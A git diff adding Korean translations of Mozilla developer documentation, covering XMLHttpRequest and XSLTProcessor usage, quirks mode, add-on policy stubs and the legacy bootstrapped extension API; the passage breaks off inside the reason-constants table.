+<p><code>new XMLHttpRequest()</code>를 사용하여 오브젝트를 인스턴스화 한 뒤에는 어떤 타입의 요청(GET 혹은 POST)을 사용할 것인지, 어느 파일을 로드할 것인지, 비동기인지 아닌지를 지정하기 위한 <code>open</code> 메소드를 사용할 수 있다. 만약 호출이 비동기이면 <code>onload</code> 멤버에 함수 레퍼런스를 준다. 이것은 요청이 완료 되었을때 한번 호출된다.</p>
+<p>동기 요청:</p>
+<pre class="eval">  var myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "data.xml", false);
+
+  myXMLHTTPRequest.send(null);
+
+  var myXMLDocument = myXMLHTTPRequest.responseXML;
+</pre>
+<p>비동기 요청:</p>
+<pre class="eval">  var myXMLHTTPRequest;
+
+  function <span class="boldcode">xmlLoaded</span>() {
+    var myXMLDocument = myXMLHTTPRequest.responseXML;
+  }
+
+  function loadXML(){
+    myXMLHTTPRequest = new XMLHttpRequest();
+
+    myXMLHTTPRequest.open("GET", "data.xml", true);
+
+    myXMLHTTPRequest.onload = <span class="boldcode">xmlLoaded</span>;
+
+    myXMLHTTPRequest.send(null);
+  }
+</pre>
+<p>표 7은 Mozilla의 <code>XMLHttpRequest&lt;/code에 대해 사용가능한 메소드와 속성들의 리스트이다. </code></p>
+<table class="standard-table">
+ <caption>
+  표 7. XMLHttpRequest methods and properties</caption>
+ <tbody>
+  <tr>
+   <th>Name</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>void abort()</td>
+   <td>Stops the request if it is still running.</td>
+  </tr>
+  <tr>
+   <td>string getAllResponseHeaders()</td>
+   <td>Returns all response headers as one string.</td>
+  </tr>
+  <tr>
+   <td>string getResponseHeader(string headerName)</td>
+   <td>Returns the value of the specified header.</td>
+  </tr>
+  <tr>
+   <td>functionRef onerror</td>
+   <td>If set, the references function will be called whenever an error occurs during the request.</td>
+  </tr>
+  <tr>
+   <td>functionRef onload</td>
+   <td>If set, the references function will be called when the request completes successfully and the response has been received. Use when an asynchronous request is used.</td>
+  </tr>
+  <tr>
+   <td>void open (string HTTP_Method, string URL)<br>
+    <br>
+    void open (string HTTP_Method, string URL, boolean async, string userName, string password)</td>
+   <td>Initializes the request for the specified URL, using either GET or POST as the HTTP method. To send the request, call the <code>send()</code> method after initialization. If <code>async</code> is false, the request is synchronous, else it defaults to asynchronous. Optionally, you can specify a username and password for the given URL needed.</td>
+  </tr>
+  <tr>
+   <td>int readyState</td>
+   <td>State of the request. Possible values:
+    <table>
+     <tbody>
+      <tr>
+       <th>Value</th>
+       <th>Description</th>
+      </tr>
+      <tr>
+       <td>0</td>
+       <td>UNINITIALIZED - open() has not been called yet.</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>LOADING - send() has not been called yet.</td>
+      </tr>
+      <tr>
+       <td>2</td>
+       <td>LOADED - send() has been called, headers and status are available.</td>
+      </tr>
+      <tr>
+       <td>3</td>
+       <td>INTERACTIVE - Downloading, responseText holds the partial data.</td>
+      </tr>
+      <tr>
+       <td>4</td>
+       <td>COMPLETED - Finished with all operations.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td>string responseText</td>
+   <td>String containing the response.</td>
+  </tr>
+  <tr>
+   <td>DOMDocument responseXML</td>
+   <td>DOM Document containing the response.</td>
+  </tr>
+  <tr>
+   <td>void send(variant body)</td>
+   <td>Initiates the request. If <code>body</code> is defined, it is sent as the body of the POST request. <code>body</code> can be an XML document or a string serialized XML document.</td>
+  </tr>
+  <tr>
+   <td>void setRequestHeader (string headerName, string headerValue)</td>
+   <td>Sets an HTTP request header for use in the HTTP request. Has to be called after <code>open()</code> is called.</td>
+  </tr>
+  <tr>
+   <td>string status</td>
+   <td>The status code of the HTTP response.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="XSLT_.EC.B0.A8.EC.9D.B4" name="XSLT_.EC.B0.A8.EC.9D.B4">XSLT 차이</h4>
+<p>Mozilla는 XSL 변환 (XSLT) 1.0을 지원한다. Mozilla는 또한 자바스크립트로 XSLT 변환을 실행하는 것을 지원하고 문서상에서 XPath를 실행 하는 것도 지원한다.</p>
+<p>Mozilla에서는 XML 이나 XSLT 파일을 보낼때 XML mimetype (&lt;code&gt;text/xml or <code>application/xml</code>)을 사용해야 한다. 이것이 왜 XSLT가 Mozilla에서는 실행되지 않는데 IE에서는 실행되는 가에 대한 가장 일반적인 이유이다. Mozilla는 이런식으로 엄격하다.</p>
+<p>IE 5.0과 5.5는 XSLT의 working draft를 지원했는데 이것은 final 1.0 recommendation과는 상당히 차이가 있었다. XSLT가 어느 버전으로 쓰였는지 구별할 수 있는 가장 쉬운 방법은 네임스페이스를 보는 것이다. 1.0 권고안의 네임스페이스는 <code><span class="nowiki">http://www.w3.org/1999/XSL/Transform</span></code>인 반면, working draft의 네임스페이스는 <code><span class="nowiki">http://www.w3.org/TR/WD-xsl</span></code>이다. IE 6은 하위 호환성을 위하여 working draft를 지원한다. 그러나 Mozilla는 working draft를 지원하지 않고 최종 권고안만을 지원한다.</p>
+<p>만약 XSLT에서 브라우저를 구별해야 한다면 "xsl:vendor" 시스템 속성으로 알아낼 수 있다. Mozilla의 XSLT엔진은 "Transformiix"라고 표시하겠지만 IE는 "Microsoft"를 반환할 것이다.</p>
+<pre>&lt;xsl:if test="system-property('xsl:vendor') = 'Transformiix'"&gt;
+  &lt;!-- Mozilla specific markup --&gt;
+&lt;/xsl:if&gt;
+&lt;xsl:if test="system-property('xsl:vendor') = 'Microsoft'"&gt;
+  &lt;!-- Internet Explorer specific markup --&gt;
+&lt;/xsl:if&gt;
+</pre>
+<p>Mozilla는 XSLT에 대한 자바스크립트 인터페이스도 지원하며 이것은 웹사이트가 메모리 상에서 XSLT 변환을 완료할 수 있게 한다. 이것은 자바스크립트 전역 오브젝트인 <code>XSLTProcessor</code>를 사용하여 할 수 있다. <code>XSLTProcessor</code>는 XML과 XSLT 파일을 로드해야 하는데, 이것은 DOM 도큐먼트가 필요하기 때문이다. <code>XSLTProcessor</code>에 의해 임포트된 XSLT 문서는 XSLT 파라미터들을 조작할 수 있게 한다.</p>
+<p>XSLTProcessor 는 <code>transformToDocument()</code>를 사용하여 단독 도큐먼트를 생성하거나 <code>transformToFragment()</code>를 사용하여 도큐먼트 프래그먼트를 생성할 수 있다. 이것은 다른 DOM 문서에 쉽게 추가할 수 있다. 다음의 예를 보자:</p>
+<pre>var xslStylesheet;
+var xsltProcessor = new XSLTProcessor();
+
+// load the xslt file, example1.xsl
+var myXMLHTTPRequest = new XMLHttpRequest();
+myXMLHTTPRequest.open("GET", "example1.xsl", false);
+myXMLHTTPRequest.send(null);
+
+// get the XML document and import it
+xslStylesheet = myXMLHTTPRequest.responseXML;
+
+xsltProcessor.importStylesheet(xslStylesheet);
+
+// load the xml file, example1.xml
+myXMLHTTPRequest = new XMLHttpRequest();
+myXMLHTTPRequest.open("GET", "example1.xml", false);
+myXMLHTTPRequest.send(null);
+
+var xmlSource = myXMLHTTPRequest.responseXML;
+
+var resultDocument = xsltProcessor.transformToDocument(xmlSource);
+</pre>
+<p><code>XSLTProcessor</code>를 생성한 후에는 <code>XMLHttpRequest</code>를 사용하여 XSLT 파일을 로드한다. XMLHttpRequest의 <code>responseXML</code> 멤버는 XSLT파일의 XML 문서를 포함하는데, 이는 <code>importStylesheet</code>로 전달된다. 그리고 나서 <code>XMLHttpRequest</code>를 다시 사용하여 변환되어야 하는 원본 XML 문서를 로드한다. 이 문서는 이제 <code>XSLTProcessor</code>의 <code>transformToDocument</code> 멤버로 전달된다. 표 8은 <code>XSLTProcessor</code> 메소드의 리스트이다.</p>
+<table class="standard-table">
+ <caption>
+  표 8. XSLTProcessor methods</caption>
+ <tbody>
+  <tr>
+   <th>Method</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>void importStylesheet(Node styleSheet)</td>
+   <td>Imports the XSLT stylesheet. The <code>styleSheet</code> argument is the root node of an XSLT stylesheet's DOM document.</td>
+  </tr>
+  <tr>
+   <td>DocumentFragment transformToFragment(Node source, Document owner)</td>
+   <td>Transforms the Node <code>source</code> by applying the stylesheet imported using the <code>importStylesheet</code> method and generates a DocumentFragment. <code>owner</code> specifies what DOM document the DocumentFragment should belong to, making it appendable to that DOM document.</td>
+  </tr>
+  <tr>
+   <td>Document transformToDocument(Node source)</td>
+   <td>Transforms the Node <code>source</code> by applying the stylesheet imported using the <code>importStylesheet</code> method and returns a standalone DOM document.</td>
+  </tr>
+  <tr>
+   <td>void setParameter(String namespaceURI, String localName, Variant value)</td>
+   <td>Sets a parameter in the imported XSLT stylesheet.</td>
+  </tr>
+  <tr>
+   <td>Variant getParameter(String namespaceURI, String localName)</td>
+   <td>Gets the value of a parameter in the imported XSLT stylesheet.</td>
+  </tr>
+  <tr>
+   <td>void removeParameter(String namespaceURI, String localName)</td>
+   <td>Removes all set parameters from the imported XSLT stylesheet and makes them default to the XSLT-defined defaults.</td>
+  </tr>
+  <tr>
+   <td>void clearParameters()</td>
+   <td>Removes all set parameters and sets them to defaults specified in the XSLT stylesheet.</td>
+  </tr>
+  <tr>
+   <td>void reset()</td>
+   <td>Removes all parameters and stylesheets.</td>
+  </tr>
+ </tbody>
+</table>
+<div class="originaldocinfo">
+ <h3 id=".EC.9B.90.EB.9E.98_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.9E.98_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원래 문서 정보</h3>
+ <ul>
+  <li>Author(s): Doron Rosenberg, IBM Corporation</li>
+  <li>Published: 26 Jul 2005</li>
+  <li>Link: <a class="external" href="http://www.ibm.com/developerworks/web/library/wa-ie2mozgd/" rel="freelink">http://www.ibm.com/developerworks/we...y/wa-ie2mozgd/</a></li>
+ </ul>
+</div>
+<p>{{ languages( { "en": "en/Migrate_apps_from_Internet_Explorer_to_Mozilla" } ) }}</p>
diff --git a/files/ko/mozilla's_quirks_mode/index.html b/files/ko/mozilla's_quirks_mode/index.html
new file mode 100644
index 0000000000..1cf28fcbb7
--- /dev/null
+++ b/files/ko/mozilla's_quirks_mode/index.html
@@ -0,0 +1,22 @@
+---
+title: Mozilla's Quirks Mode
+slug: Mozilla's_Quirks_Mode
+tags:
+  - Gecko
+  - Web Development
+  - Web Standards
+translation_of: Mozilla/Mozilla_quirks_mode_behavior
+---
+<p>웹 상의 현존 컨텐트가 표준을 따르지 않거나 표준 호환 브라우저에서 의도하지 않은 방식으로 보이기 때문에, Mozilla는 일부 컨텐트는 하위 호환성이 있는 방식으로 일부 컨텐트는 표준에 따라 처리합니다.</p>
+
+<p>레이아웃 엔진이 쓰는 모드는 하위 호환(quirks) 모드, 거의 표준(almost standards) 모드, 그리고 완전 표준(full standards) 모드 셋입니다. <strong>하위 호환 모드</strong>에서, 레이아웃은 웹 상의 현존 컨텐트를 깰(break) 필요가 없는 Windows용 Navigator 4와 MSIE에서 비표준 behavior를 에뮬레이트합니다. <strong>완전 표준 모드</strong>에서, behavior는 (잘하면) HTML과 CSS 명세에 기술된 behavior입니다. <strong>거의 표준 모드</strong>에서는, 구현된 quirk(는 거의 표준 모드를 쓰게 하는 DOCTYPE을 쓰는 웹 상의 실제 페이지를 깸) 수가 아주 조금 밖에 없습니다.</p>
+
+<h3 id="Mozilla.EA.B0.80_.EC.93.B8_.EB.AA.A8.EB.93.9C.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EA.B2.B0.EC.A0.95.ED.95.98.EB.8A.94.EA.B0.80.3F" name="Mozilla.EA.B0.80_.EC.93.B8_.EB.AA.A8.EB.93.9C.EB.A5.BC_.EC.96.B4.EB.96.BB.EA.B2.8C_.EA.B2.B0.EC.A0.95.ED.95.98.EB.8A.94.EA.B0.80.3F">Mozilla가 쓸 모드를 어떻게 결정하는가?</h3>
+
+<p>text/html로 보낸 문서의 경우, Mozilla는 하위 호환 모드나 표준 모드 가운데 어느 쪽으로 문서를 처리할지 결정해야 합니다(text/xml 또는 다른 XML이나 XHTML MIME 형으로 보낸 컨텐트는 항상 strict 모드로 처리됨). 현재 Mozilla는 이 결정을 DOCTYPE sniffing을 통해 수행합니다. 즉, 페이지가 모든 표준 behavior가 쓰일 때 정확히 작동하기를 기대할 수 있는 최근 작성된 웹 페이지인지에 관한 암시로서 DOCTYPE 선언(DTD)을 씁니다. DOCTYPE sniffing이 어떻게 레이아웃 모드를 결정하는데 쓰이는지는 <a href="ko/Mozilla's_DOCTYPE_sniffing">상세한 설명</a> 참조.</p>
+
+<p>DTD가 원래 다른 이유로 있기 때문에, 페이지의 DTD를 바꾸지 않고 레이아웃 모드를 설정(또는 제안)할 수 있게 하는 요구가 제작자들에게 있어 왔습니다. 지금까지는 그러한 메서드가 구현되지 않았지만, 주된 계획은 문서 헤드(head)의 META 요소를 통해 접근할 수도 있는 HTTP 헤더입니다.</p>
+
+<h3 id=".EB.AA.A8.EB.93.9C_.EC.82.AC.EC.9D.B4.EC.9D.98_.EC.B0.A8.EC.9D.B4.EC.A0.90.EC.9D.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F" name=".EB.AA.A8.EB.93.9C_.EC.82.AC.EC.9D.B4.EC.9D.98_.EC.B0.A8.EC.9D.B4.EC.A0.90.EC.9D.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F">모드 사이의 차이점은 무엇인가?</h3>
+
+<p>모드 사이의 차이점은 <a href="ko/Mozilla_Quirks_Mode_Behavior">quirk 목록</a> 참조.</p>
diff --git a/files/ko/mozilla/add-ons/amo/index.html b/files/ko/mozilla/add-ons/amo/index.html
new file mode 100644
index 0000000000..e1684b2100
--- /dev/null
+++ b/files/ko/mozilla/add-ons/amo/index.html
@@ -0,0 +1,15 @@
+---
+title: AMO
+slug: Mozilla/Add-ons/AMO
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Add-ons/AMO
+---
+<p>Pages documenting <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>:</p>
+
+<p>{{Listsubpages("/en-US/Add-ons/AMO", 10)}}</p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ko/mozilla/add-ons/amo/policy/index.html b/files/ko/mozilla/add-ons/amo/policy/index.html
new file mode 100644
index 0000000000..58fb599b47
--- /dev/null
+++ b/files/ko/mozilla/add-ons/amo/policy/index.html
@@ -0,0 +1,29 @@
+---
+title: AMO Policies
+slug: Mozilla/Add-ons/AMO/Policy
+tags:
+  - AMO
+  - Add-ons
+  - Firefox
+  - NeedsTranslation
+  - Policies
+  - TopicStub
+translation_of: Mozilla/Add-ons/AMO/Policy
+---
+<p>{{AddonSidebar}}</p>
+
+<p>Mozilla is committed to ensuring an excellent experience for both our users and developers of add-ons. Please review the policies below before submitting your add-on.</p>
+
+<dl>
+ <dt><a href="/Mozilla/Add-ons/AMO/Policy/Agreement">Developer Agreement</a></dt>
+ <dd>This agreement is effective as of June 10, 2019.</dd>
+ <dt><a href="/Mozilla/Add-ons/AMO/Policy/Reviews">Add-on policies</a></dt>
+ <dd>Add-ons extend the core capabilities of Firefox, enabling users to modify and personalize their Web experience. A healthy add-on ecosystem, built on trust, is vital for developers to be successful and users to feel safe making Firefox their own.</dd>
+ <dd>For these reasons, Mozilla requires all add-ons to comply with the add-on policies on acceptable practices. The policies are not intended to serve as legal advice, nor are they intended to serve as a comprehensive list of terms to include in your add-on’s privacy policy.</dd>
+ <dt><a href="/Mozilla/Add-ons/AMO/Policy/Featured">Featured Add-ons</a></dt>
+ <dd>How up-and-coming add-ons become featured and what's involved in the process.</dd>
+ <dt><a href="/en-US/Add-ons#Contact_us">Contact Us</a></dt>
+ <dd>How to get in touch with us regarding these policies or your add-on.
+ <p> </p>
+ </dd>
+</dl>
diff --git a/files/ko/mozilla/add-ons/bootstrapped_extensions/index.html b/files/ko/mozilla/add-ons/bootstrapped_extensions/index.html
new file mode 100644
index 0000000000..19bb9e4af8
--- /dev/null
+++ b/files/ko/mozilla/add-ons/bootstrapped_extensions/index.html
@@ -0,0 +1,349 @@
+---
+title: Bootstrapped extensions
+slug: Mozilla/Add-ons/Bootstrapped_extensions
+translation_of: Archive/Add-ons/Bootstrapped_extensions
+---
+<p>{{ gecko_minversion_header("2.0") }}</p>
+
+<div class="note">
+<p><strong>노트:</strong><a class="link-https" href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/"> 부가기능 SDK</a> 를 사용한 모든 확장기능은 부트스트랩입니다! 모든 부트스트랩 코드는 생성되었으므로 따로 고민할 필요 없습니다. 부가기능 SDK를 사용하지 않으셨나요? 계속 읽어주세요...</p>
+</div>
+
+<p>전통적인 확장기능은 오버레이를 포함하고 있습니다. 오버레이는 확장기능 패키지에서 XUL 파일을 꺼내 자동으로 UI 위에 덧씌웁니다. 이 방식을 쓰면 UI에 무언가 더하는 확장기능을 만들기 쉬워지지만 업데이트, 설치, 사용불가를 할 때마다 파이어폭스를 다시 시작해야 합니다.</p>
+
+<p>Gecko 2.0{{ geckoRelease("2.0") }}은 부트스트랩 확장기능을 소개합니다. 이것은 오버레이 대신 직접 파이어폭스로 삽입되게 프로그램밍된  확장기능입니다.  확장기능 안에 포함된 어떤 스크립트 파일이 브라우저가 이 확장기능을 설치, 제거, 실행, 종료할 수 있게 해 줍니다.</p>
+
+<p>파이어폭스가 하는 일은 스크립트 파일에 따라 호출하는 것 뿐입니다.  UI의 추가, 제거, 설치, 종료 등은 모두 확장기능이 알아서 합니다.</p>
+
+<p>이 문서는 어떻게 부트스트랩 확장기능이 작동하는지 알려줍니다. 오버레이 확장기능을 부트스트랩으로 바꾸려면 <a href="/en-US/Add-ons/How_to_convert_an_overlay_extension_to_restartless">converting from an overlay extension to restartless</a> 이 문서를 확인하세요.</p>
+
+<h2 id="시작과_종료_프로세스">시작과 종료 프로세스</h2>
+
+<p>부트스트랩 확장기능의 가장 중요한 점은 필요에 따라 파이어폭스가 마음대로 켜고 끌 수 있어야 한다는 점입니다. 확장기능의 <code>startup() </code>함수가 호출되면 UI와 다른 기능들이 수동으로 실행되어야 합니다. 마찬가지로 <code>shutdown()</code> 함수가 호출되면 파이어폭스에 추가한 것과 그것의 오브젝트의 모든 리퍼런스를 제거해야 합니다.</p>
+
+<p><code>startup()</code> 함수가 호출될 때의 예:</p>
+
+<ul>
+ <li>파이어폭스와의 호환과 활성화가 되어 있을 경우 확장기능이 설치 되었을 때</li>
+ <li>부가 기능 관리자 창으로 확장기능이 활성화 되었을 때</li>
+ <li>확장기능이 활성화 되어있고 호환 가능할 경우 파이어폭스가 실행되었을 때</li>
+</ul>
+
+<p><code>shutdown()</code> 함수가 호출될 때의 예:</p>
+
+<ul>
+ <li>확장기능이 활성화된 상태로 제거되었을 때</li>
+ <li>확장기능이 비활성화 되었을 때</li>
+ <li>확장기능이 활성화 되어있을 경우 사용자가 파이어폭스를 껐을 때</li>
+</ul>
+
+<h2 id="파이어폭스_UI를_변경할_때">파이어폭스 UI를 변경할 때</h2>
+
+<h3 id="부트스트랩_부가기능의_chrome.manifest">부트스트랩 부가기능의 chrome.manifest</h3>
+
+<p>다으의 경우에서 부트스트랩 부가기능의 <a href="/en-US/docs/Chrome_Registration"><code>chrome.manifest</code></a> 을 사용할 수 있습니다:</p>
+
+<ol>
+ <li>부가기능을  <code>chrome://</code> URL로 켤 때  (<code>매니페스트에서 content</code>, <code>locale</code>, 그리고 <code>skin</code> 인스트럭션을 사용하세요);</li>
+ <li>이미 있는 <code>chrome://</code> URI 를 교체할 때 (<code>override</code> 인스트럭션을 사용하세요).</li>
+</ol>
+
+<p>부트스트랩 부가기능에서 모든 <code>chrome.manifest</code> 인스트럭션이 지원되는 것은 아닙니다. 예를 들어 <a href="/en-US/docs/XUL_Overlays">XUL Overlays</a> 는 부트스트랩 부가기능에서 사용할 수 없습니다. 더 자세한 내용은 <a href="/en-US/docs/Chrome_Registration"><code>chrome.manifest</code></a> 문서를 참고하세요.</p>
+
+<p>파이어폭스 10 이후 버전에서 부가기능의 xpi 파일의 최상단(<code>install.rdf</code> 등과 같은 위치)에 위치해 있는  <code>chrome.manifest </code>파일은 자동으로 열립니다. 파이어폭스 8과 9에서 당신은 직접<code> {{ ifmethod("nsIComponentManager", "addBootstrappedManifestLocation") }}</code> 과 <code>{{ ifmethod("nsIComponentManager", "removeBootstrappedManifestLocation") }}</code>를 통해 매니페스트 파일을 열고 닫아야 합니다. 이 기능은 파이어폭스 8 이전 버전에서는 지원되지 않습니다.</p>
+
+<h3 id="UI를_수동으로_추가하기">UI를 수동으로 추가하기</h3>
+
+<p>만약 파이어폭스의 UI를 바꾸는 부트스트랩 확장기능을 개발하기로 했다면 여기 몇가지 제안사항이 있습니다.</p>
+
+<p>우선 {{ domxref("document.getElementById()") }}를 호출해서 바꾸고자 하는 UI 엘리먼츠를 ID로 찾아야 합니다. 그 다음 UI를 추가하기 위한 조작을 합니다. 예를 들어 파이어폭스의 메뉴바에 접근하기 위해서 이렇게 합니다.  <code>document.getElementById("main-menubar")</code>.</p>
+
+<p>종료할 대마다 추가한 모든 UI를 제거해야 합니다.</p>
+
+<h2 id="부트스트랩_확장기능_만들기">부트스트랩 확장기능 만들기</h2>
+
+<p>확장기능이 부트스트랩이라는 것을 표시하기 위해 <a href="/en-US/docs/Install_Manifests">install manifest</a> 에 다음 줄을 추가하세요:</p>
+
+<pre><code>&lt;em:bootstrap&gt;true&lt;/em:bootstrap&gt;</code></pre>
+
+<p>그 다음 필요한 기능들이 담긴 <a href="/en-US/docs/Extensions/bootstrap.js"><code><strong>bootstrap.js</strong></code></a> 파일을 추가합니다; 이것은 확장기능 패키지에서 <a href="/en-US/docs/Install_Manifests"><code>install.rdf</code></a> 파일과 같이 있어야 합니다.</p>
+
+<h3 id="Backward_compatibility이전버전과의_호환">Backward compatibility이전버전과의 호환</h3>
+
+<p>오래된 버전의 파이어폭스는 <code>bootstrap</code> 속성이나 <code>bootstrap.js</code> 파일을 인식하지 못하기 때문에 부트스트랩 확장기능과 전통적인 확장기능이 모두 담긴 XPI 파일을 만드는 것은 어려운 일이 아닙니다. 확장기능을 부트스트랩으로 만든 다음 오버레이를 추가하세요. 새 버전의 파이어폭스는 <code>bootstrap.js</code> 스크립트를 사용하면서 컴포넌트와 오버레이를 무시할 것이고 오래된 버전은 오버레이를 사용할 것입니다.</p>
+
+<h2 id="부트스트랩_진입점">부트스트랩 진입점</h2>
+
+<p><code>bootstrap.js</code> 스크립트는 브라우저가 확장기능을 관리할 때 호출하는 특정 함수들을 포함하고 있어야 합니다. 스크립트는 특정 샌드박스에서 실행되며 샌드박스는 확장기능이 종료되기 전까지 캐시로 남아있습니다.</p>
+
+<h3 id="startup">startup</h3>
+
+<p>확장기능을 시작할 때 호출됩니다. 파이어폭스가 켜질 때, 비활성화된 확장기능이 활성화될 때 또는 업데이트를 설치하기 위해 종료되었을 때 같은 상황에서 호출됩니다. 이처럼 파이어폭스의 생명주기동안 여러번 호출될 수 있습니다.</p>
+
+<p>이 함수가 호출되었을 때 부가기능은 UI를 추가하고 동작에 필요한 작업을 시작해야 합니다.</p>
+
+<pre>void startup(
+  data,
+  reason
+);
+</pre>
+
+<h6 id="변수">변수</h6>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
+ <dt><code>reason</code></dt>
+ <dd> <a href="#Reason_constants">reason constants</a> 중의 하나로 왜 확장기능이 시작되었는지를 표시합니다. <code>APP_STARTUP</code>, <code>ADDON_ENABLE</code>, <code>ADDON_INSTALL</code>, <code>ADDON_UPGRADE</code>, 또는 <code>ADDON_DOWNGRADE</code> 중의 하나가 됩니다.</dd>
+</dl>
+
+<h3 id="shutdown">shutdown</h3>
+
+<p>파이어폭스가 꺼질때, 확장기능이 업그레이드되거나 비활성화 될 때 처럼 확장기능이 종료할 때 호출됩니다. 추가된 UI를 제거하고 태스크는 종료하고 오브젝트는 처리해야 합니다.</p>
+
+<pre>void shutdown(
+  data,
+  reason
+);
+</pre>
+
+<h6 id="변수_2">변수</h6>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
+ <dt><code>reason</code></dt>
+ <dd><a href="#Reason_constants">reason constants</a> 중의 하나로 왜 확장기능이 종료되었는지를 표시합니다. <code>APP_SHUTDOWN</code>, <code>ADDON_DISABLE</code>, <code>ADDON_UNINSTALL</code>, <code>ADDON_UPGRADE</code>, 또는 <code>ADDON_DOWNGRADE</code> 중의 하나가 됩니다.</dd>
+</dl>
+
+<h3 id="install">install</h3>
+
+<p>부트스트랩 스크립트는 확장기능이 설치, 업그레이드, 다운그레이드 되고 나서 첫번째로 <code>startup() </code>함수를 호출하기 전에 호출할 <code>install()</code> 함수를 포함해야 합니다.</p>
+
+<div class="note"><strong>노트:</strong> 이 메소드는 확장기능이 실행되지 않으면 호출되지 않습니다; 예를 들어 확장기능이 설치되었지만 파이어폭스의 현재 버전과 호환되지 않으면 <code>install()</code> 함수는 확장기능이 제거되기 전까지 호환성 문제를 해결하지 않는 이상 호출되지 않습니다. 그러나 만약 확장기능이 파이어폭스에 호환되도록 업그레이드된다면 <code>install()</code> 함수는 그때 <code>startup()</code> 함수가 호출되기 전에 호출될 것입니다.</div>
+
+<pre>void install(
+  data,
+  reason
+);
+</pre>
+
+<h6 id="변수_3">변수</h6>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
+ <dt><code>reason</code></dt>
+ <dd><a href="#Reason_constants">reason constants</a>의 하나로 왜 확장기능이 설치되었는지 표시힙니다. <code>ADDON_INSTALL</code>, <code>ADDON_UPGRADE</code>, or <code>ADDON_DOWNGRADE</code>중 하나가 됩니다.</dd>
+</dl>
+
+<h3 id="uninstall">uninstall</h3>
+
+<p>이 함수는 마지막으로 <code>shutdown()</code> 함수가 호출되었을 때 이후 특정 버전의 확장기능이 제거되었을 때 호출됩니다. <code>install()</code> 이 호출되지 않았다면 이 함수는 호출되지 않습니다.</p>
+
+<div class="note"><strong>노트:</strong> <code>uninstall()</code> 함수는 확장기능이 비활성화 되어있거나 현재 파이어폭스와 버전이 맞지 않더라도 호출될 수 있다는 것을 기억해야 합니다. 그렇기 때문에 현재 파이어폭스에서 지원되지 않는 API들을 우아하게 다루는 것이 중요합니다. 또한 이 함수는 파이어폭스가 실행되지 않을 때 써드파티 애플리케이션이 확장기능을 제거했을 때는 호출되지 않습니다. uninstall 코드가 있는데 실행이 안될 때<code>install() {} </code>만 있는것은 충분하지 않습니다.<code> install </code>함수에서 몇몇 코드를 실행하던지, 최소한 <code>install </code>function에 이런 식으로 선언해야 합니다: <code>function install(aData, aReason) {}</code> 그러면 uninstall 코드가 실행될 것입니다.</div>
+
+<div class="note"><strong>노트:</strong> 부가 기능 관리자에서 부가기능의 "제거"를 클릭할 경우는 바로 uninstall 함수를 호출하진 않습니다. 왜냐하면 "취소"버튼이 있기 때문입니다. 부가기능 관리자를 닫거나 해서 "취소" 버튼이 사라지면 그때 호출됩니다.</div>
+
+<div class="note"><strong>노트:</strong> uninstall 함수는 업그레이드와 다운그레이드 시에도 호출되기 때문에  다음과 같이 표시해주어야 합니다:<br>
+<code>function uninstall(aData, aReason) {</code><br>
+<code>     if (aReason == ADDON_UNINSTALL) {</code><br>
+<code>          console.log('really uninstalling');</code><br>
+<code>     } else {</code><br>
+<code>          console.log('not a permanent uninstall, likely an upgrade or downgrade');</code><br>
+<code>     }</code><br>
+<code>}</code></div>
+
+<pre>void uninstall(
+  data,
+  reason
+);
+</pre>
+
+<h6 id="변수_4">변수</h6>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>A <a href="#Bootstrap_data">bootstrap data structure</a>.</dd>
+ <dt><code>reason</code></dt>
+ <dd><a href="#Reason_constants">reason constants</a>의 하나로 왜 확장기능이 제거되었는지 표시해줍니다. <code>ADDON_UNINSTALL</code>, <code>ADDON_UPGRADE</code>, 또는 <code>ADDON_DOWNGRADE</code> 중의 하나가 됩니다.</dd>
+</dl>
+
+<h2 id="Reason_상수">Reason 상수</h2>
+
+<p>부트스트랩의 함수는 <code>reason</code> 변수를 허용합니다. 이는 확장기능에게 왜 호출되었는지를 설명합니다. reason 상수는 다음과 같습니다:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">상수</td>
+   <td class="header">값</td>
+   <td class="header">설명</td>
+  </tr>
+  <tr>
+   <td><code>APP_STARTUP</code></td>
+   <td>1</td>
+   <td>파이어폭스가 실행</td>
+  </tr>
+  <tr>
+   <td><code>APP_SHUTDOWN</code></td>
+   <td>2</td>
+   <td>파이어폭스가 종료</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_ENABLE</code></td>
+   <td>3</td>
+   <td>부가기능이 활성화</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_DISABLE</code></td>
+   <td>4</td>
+   <td>부가기능이 비활성화 (혹은 <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=620541">제거중 호출됨</a>)</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_INSTALL</code></td>
+   <td>5</td>
+   <td>부가기능이 설치됨</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_UNINSTALL</code></td>
+   <td>6</td>
+   <td>부가기능이 제거됨</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_UPGRADE</code></td>
+   <td>7</td>
+   <td>부가기능이 업그레이드됨</td>
+  </tr>
+  <tr>
+   <td><code>ADDON_DOWNGRADE</code></td>
+   <td>8</td>
+   <td>부가기능이 다운그레이드됨</td>
+  </tr>
+ </tbody>
